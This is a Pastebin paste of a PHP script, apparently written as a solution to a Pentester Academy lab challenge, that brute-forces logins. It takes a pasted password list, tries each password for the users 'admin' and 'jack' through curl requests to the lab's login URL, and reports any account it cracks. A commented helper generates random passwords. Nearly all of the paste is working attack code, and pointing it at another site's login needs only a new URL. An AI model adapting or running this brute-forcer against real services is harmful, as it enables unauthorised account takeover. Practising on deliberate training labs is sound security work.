Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>Pentester Academy Lab(Challenge 1: Difficulty Level: Beginner)</title>
- </head>
- <body>
- <center>
- <h1>Pentester Academy Lab(Challenge 1: Difficulty Level: Beginner) By DamaneDz</h1>
- <br>
- <p> </p>
- <form method="post" action="">
- Password's List:<br>
- <textarea name="passwords" >123456</textarea>
- <p> </p>
- <p align="center">
- <input name="brute" size="80" value="Brute" type="submit"></br>
- </p>
- </form>
- <?php
- set_time_limit(0);
- ini_set("max_execution_time",0);
- ob_implicit_flush(1);
- ini_set("default_socket_timeout",1);
- /*
- This File was Coded By DamaneDz
- For Pentester Academy Lab (Challenge 1)
- For The Pass List You Can use This Function
- function pass_generator($length,$words){
- $pass = "";
- $maxlength = strlen($words);
- if($length>$maxlength){
- $length=$maxlength;
- }
- $i = 0;
- while($i<$length){
- $char = substr($words, mt_rand(0, $maxlength-1), 1);
- if (!strstr($pass, $char)) {
- $pass .= $char;
- $i++;
- }
- }
- return $pass;
- }
- 2013/2014
- My Blog:www.damanedz.com/blog/
- Skype:DamaneDz
- Twitter:DamaneDz
- */
- if($_POST["brute"]){
- flush();
- @ob_flush();
- $passwords=explode("\n",$_POST["passwords"]);
- $users=array("admin","jack");
- foreach($users as $user){
- $user=trim($user);
- foreach($passwords as $pass){
- $pass=trim($pass);
- if(crack($user,$pass)){
- echo "<font color=green>Account CrackeD ==>{$user}:{$pass}</font><br>";
- break;
- }
- }
- }
- }
- function crack($user,$pass){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://pentesteracademylab.appspot.com/lab/webapp/1?email={$user}@PentesterAcademy.com&password={$pass}");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
- $login = curl_exec($ch);
- if(!preg_match("#Failed#i",$login)){
- return true;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement